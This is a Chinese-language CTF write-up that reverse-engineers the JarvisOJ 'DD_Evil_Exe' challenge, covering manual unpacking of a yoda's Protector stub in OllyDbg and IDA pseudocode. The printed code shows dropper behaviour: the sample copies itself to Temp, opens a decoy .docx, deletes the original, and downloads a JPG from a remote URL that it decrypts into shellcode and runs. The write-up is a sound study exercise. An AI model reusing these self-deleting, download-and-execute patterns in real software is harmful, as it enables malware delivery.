初音未来の消失

JarvisOJ_DD_Evil_Exe

Evil_Exe(not totallly succeeded)

DD_Evil_Exe.7z

思路

程序双击打开后什么都没有发生,然后exe文件被删除了,取而代之的是一个docx文件

用ida打开该文件,显示无法翻译,怀疑使用了壳进行加密

查壳

用peid去查询壳类型

显示是yoda's Protector,使用对应的脱壳器进行脱壳,失败

去壳

用ollydbg手动去壳:

0x0043DCA8处是一个pushad,经过调试,程序会在此反复地pushad+popad地循环,所以直接设置eip至0x0043DCA2

0043DC85 > $  56            push esi                                 ;  evil.<ModuleEntryPoint>
0043DC86   .  E8 00000000   call evil.0043DC8B
0043DC8B   $  5E            pop esi                                  ;  kernel32.76B80419
0043DC8C   .  B8 90110000   mov eax,0x1190
0043DC91   .  81EE 8B8C0000 sub esi,0x8C8B
0043DC97   >  E8 0C000000   call evil.0043DCA8
0043DC9C   .  83C6 08       add esi,0x8
0043DC9F   .  48            dec eax
0043DCA0   .^ 75 F5         jnz short evil.0043DC97
0043DCA2   .  5E            pop esi                                  ;  kernel32.76B80419
0043DCA3   .^ E9 08FEFFFF   jmp evil.0043DAB0

0043DCA8  /$  60            pushad
0043DCA9  |.  56            push esi                                 ;  evil.<ModuleEntryPoint>
0043DCAA  |.  AD            lods dword ptr ds:[esi]
0043DCAB  |.  93            xchg eax,ebx
0043DCAC  |.  AD            lods dword ptr ds:[esi]
0043DCAD  |.  92            xchg eax,edx                             ;  evil.<ModuleEntryPoint>
0043DCAE  |.  BF 74713414   mov edi,0x14347174
0043DCB3  |.  BD 34443144   mov ebp,0x44314434
0043DCB8  |.  B9 AC174798   mov ecx,0x984717AC
0043DCBD  |.  BE 15DCE8AF   mov esi,0xAFE8DC15
0043DCC2  |.  33C0          xor eax,eax
0043DCC4  |>  C1CB 08       /ror ebx,0x8
0043DCC7  |.  03DA          |add ebx,edx                             ;  evil.<ModuleEntryPoint>
0043DCC9  |.  33DF          |xor ebx,edi                             ;  evil.<ModuleEntryPoint>
0043DCCB  |.  C1C2 03       |rol edx,0x3
0043DCCE  |.  33D3          |xor edx,ebx
0043DCD0  |.  C1CD 08       |ror ebp,0x8
0043DCD3  |.  03EF          |add ebp,edi                             ;  evil.<ModuleEntryPoint>
0043DCD5  |.  33E8          |xor ebp,eax
0043DCD7  |.  C1C7 03       |rol edi,0x3
0043DCDA  |.  33FD          |xor edi,ebp
0043DCDC  |.  87F1          |xchg ecx,esi                            ;  evil.<ModuleEntryPoint>
0043DCDE  |.  87F5          |xchg ebp,esi                            ;  evil.<ModuleEntryPoint>
0043DCE0  |.  40            |inc eax
0043DCE1  |.  3C 1B         |cmp al,0x1B
0043DCE3  |.^ 75 DF         \jnz short evil.0043DCC4
0043DCE5  |.  5F            pop edi                                  ;  kernel32.76B80419
0043DCE6  |.  93            xchg eax,ebx
0043DCE7  |.  AB            stos dword ptr es:[edi]
0043DCE8  |.  92            xchg eax,edx                             ;  evil.<ModuleEntryPoint>
0043DCE9  |.  AB            stos dword ptr es:[edi]
0043DCEA  |.  61            popad
0043DCEB  \.  C3            retn

来到此处,又看到一个pushad,但是这个pushad后面的popad是找不到了,最好使用esp定律来寻找popad

按一下F8,并记录下esp的值 0x0019FF54

0043DAB0   > /60            pushad
0043DAB1   . |BE 00504300   mov esi,evil.00435000
0043DAB6   . |8DBE 00C0FCFF lea edi,dword ptr ds:[esi-0x34000]
0043DABC   . |57            push edi                                 ;  evil.<ModuleEntryPoint>
0043DABD   . |83CD FF       or ebp,-0x1
0043DAC0   . |EB 10         jmp short evil.0043DAD2
0043DAC2     |90            nop
0043DAC3     |90            nop
0043DAC4     |90            nop

dd 0019FF54

设置硬件断点

来到0x0043DC2E处

我开始没有分析出来,原来这里0x0043DC3B隐藏着一句jmp命令

0043DC2D   .  61            popad
0043DC2E   .  8D4424 80     lea eax,dword ptr ss:[esp-0x80]
0043DC32   >  6A 00         push 0x0
0043DC34   .  39C4          cmp esp,eax
0043DC36   .^ 75 FA         jnz short evil.0043DC32
0043DC38   .  83EC 80       sub esp,-0x80
0043DC3B   .  E9            db E9
0043DC3C   .  A6            db A6
0043DC3D   .  48            db 48                                    ;  CHAR 'H'
0043DC3E   .  FC            db FC
0043DC3F   .  FF            db FF
0043DC40      48            db 48                                    ;  CHAR 'H'

手动分析之后得到

0043DC2D   .  61            popad
0043DC2E   .  8D4424 80     lea eax,dword ptr ss:[esp-0x80]
0043DC32   >  6A 00         push 0x0
0043DC34   .  39C4          cmp esp,eax
0043DC36   .^ 75 FA         jnz short evil.0043DC32
0043DC38   .  83EC 80       sub esp,-0x80
0043DC3B    - E9 A648FCFF   jmp evil.004024E6
0043DC40      48            db 48                                    ;  CHAR 'H'

再F8几下,F4,并且去掉硬件断点(避免反复断)得到

004024E6    E8 BB2D0000     call evil.004052A6
004024EB  ^ E9 78FEFFFF     jmp evil.00402368

这是windows程序最明显的入口,一个call+一个jmp,我们只需要把这个地方作为入口点dump出来即可

接下来就可以用ida来查看各个函数了

程序大致思路:

将evil.exe文件本身复制到temp文件夹中,并且创建evil.docx文件

之后执行temp文件夹中的evil.exe (initialization)

到这里程序会return 6,使得winmain函数跳出,本目录下的evil.exe执行完毕

如果想继续用ollydbg调试的话,需要在mov eax, 6 把 6改为5,以便让程序不要结束

signed int __cdecl sub_401370(int a1)
{
  char v2; // [esp+0h] [ebp-7BCh]
  char DstBuf; // [esp+4h] [ebp-7B8h]
  int v4; // [esp+21Ch] [ebp-5A0h]
  char v5; // [esp+264h] [ebp-558h]
  int v6; // [esp+370h] [ebp-44Ch]
  char Src; // [esp+374h] [ebp-448h]
  char Dst; // [esp+47Ch] [ebp-340h]
  int v9; // [esp+588h] [ebp-234h]
  char v10; // [esp+58Ch] [ebp-230h]
  unsigned int v11; // [esp+59Ch] [ebp-220h]
  int v12; // [esp+5A0h] [ebp-21Ch]
  char v13; // [esp+5A4h] [ebp-218h]
  CHAR File; // [esp+6ACh] [ebp-110h]

  v6 = 0;
  v12 = 0;
  v11 = (*((int (__stdcall **)(int, char *, signed int))&byte_40B01C + 6))(a1, &v13, 261);
  if ( v11 > 0x105 )
    return 1;
  v11 = (*((int (__stdcall **)(signed int, char *))&byte_40B01C + 5))(261, &Dst);
  if ( v11 > 0x105 )
    return 2;
  _splitpath(&v13, 0, &File, &Src, &v5);
  if ( strstr(&v13, "\\Temp\\") )
    return 3;
  strcat_s(&Dst, 0x105u, &Src);
  if ( v5 != 46 )
    strcat_s(&Dst, 0x105u, ".");
  strcat_s(&Dst, 0x105u, &v5);
  (*((void (__stdcall **)(char *, char *, _DWORD))&byte_40B01C + 4))(&v13, &Dst, 0);
  strcat_s(&File, 0x105u, &Src);
  strcat_s(&File, 0x105u, ".docx");
  if ( !sub_4012E0(101, &v6, &v12) )
    return 4;
  v9 = (*((int (__stdcall **)(CHAR *, signed int, signed int, _DWORD, signed int, signed int, _DWORD))&byte_40B01C + 3))(
         &File,
         0x40000000,
         1,
         0,
         2,
         128,
         0);
  if ( v9 == -1 )
    return 5;
  (*((void (__stdcall **)(int, int, int, char *, _DWORD))&byte_40B01C + 2))(v9, v6, v12, &v2, 0);
  (*((void (__stdcall **)(int))&byte_40B01C + 1))(v9);
  sprintf_s(&DstBuf, 0x218u, "%s \"%s\"", &Dst, &v13);
  memset(&v4, 0, 0x44u);
  memset(&v10, 0, 0x10u);
  v4 = 68;
  byte_40B01C(0, &DstBuf, 0, 0, 0, 0, 0, 0, &v4, &v10);
  ShellExecuteA(0, "open", &File, 0, 0, 1);
  return 6;              // 只要是正常执行evil.exe文件,都会返回6,所以到这里调试一定会结束
}

temp目录下的evil.exe开始执行

循环删除当前目录下的evil.exe (sub_401620) 这就是为什么运行一次程序就消失了

LPWSTR *sub_401620()
{
  const WCHAR *v0; // eax
  LPWSTR *result; // eax
  int v2; // ST08_4
  int pNumArgs; // [esp+4h] [ebp-8h]
  LPWSTR *v4; // [esp+8h] [ebp-4h]

  v0 = (const WCHAR *)(*((int (**)(void))&byte_40B01C + 9))();
  result = CommandLineToArgvW(v0, &pNumArgs);
  v4 = result;
  if ( result && pNumArgs == 2 )//这个地方删除evil.exe文件
  {
    do
    {
      v2 = (*((int (__stdcall **)(LPWSTR))&byte_40B01C + 8))(v4[1]);
      result = (LPWSTR *)(*((int (__stdcall **)(signed int))&byte_40B01C + 7))(512);
    }
    while ( !v2 );
  }
  return result;
}

从www.ddctf.com

读取jpg文件(可以通过搭建http服务器解决,上篇文章写过了)

void *__cdecl sub_4018F0(unsigned int *a1)
{
  unsigned int v2; // [esp+0h] [ebp-18h]
  DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-14h]
  BOOL v4; // [esp+8h] [ebp-10h]
  void *v5; // [esp+Ch] [ebp-Ch]
  HINTERNET hFile; // [esp+10h] [ebp-8h]
  HINTERNET hInternet; // [esp+14h] [ebp-4h]

  dwNumberOfBytesRead = 0;
  v2 = 0;
  hInternet = InternetOpenA("DDCTF", 0, 0, 0, 0);
  hFile = InternetOpenUrlA(hInternet, "http://www.ddctf.com/x.jpg", 0, 0, 0x4000000u, 0);
  if ( !hFile )
    return 0;
  v5 = malloc(0x100000u);
  do
  {
    v4 = InternetReadFile(hFile, (char *)v5 + v2, 0x100000 - v2, &dwNumberOfBytesRead);
    if ( !v4 )
      break;
    v2 += dwNumberOfBytesRead;
    if ( !dwNumberOfBytesRead )
      break;
  }
  while ( v2 < 0x100000 );
  InternetCloseHandle(hFile);
  if ( v2 <= 0x100000 )
  {
    *a1 = v2;
  }
  else
  {
    free(v5);
    v5 = 0;
  }
  return v5;
}

进入dec1、dec2函数,将jpg文件解密

进入shell函数,在里面进行最后的解密,然后执行这个shell

关于ida的部分我就不贴了,因为这些指令主要是和汇编操作有关

这部分有两种解决方法

一种是调试,将解密的shellcode调试出来

另一种是计算,因为这是一个正向过程,很容易就能把解密函数的c代码复制下来,改改就能用了

这里我是用的调试法

直接在0x401220下断点

由于ida分析,拖黑的部分即为shellcode的最后解密代码,我们就把程序F4到那个地方

这里是才执行完for循环的位置,eax寄存器里面还保存有lpAddress的地址,我们直接Ctrl+g查看对应的内存

果然出现了一段疑似flag的字符串,不过提交后发现答案不对,这是因为这段字符串不全是flag,这其实是一段shellcode,里面夹杂了汇编指令

那个0x68应该就是push指令了

以下是失败的尝试,建议直接跳过

本来跳转没有实现,但是为了执行call edx ,我再一次无耻地改了eip

本以为可以成功跳转到对应的shellcode,然而我失败了,最终手输的flag

贴一个其他师傅的成功截图,我反正是没成功调到那一步的,,,太菜了

https://blog.csdn.net/getsum/article/details/87902382

退出移动版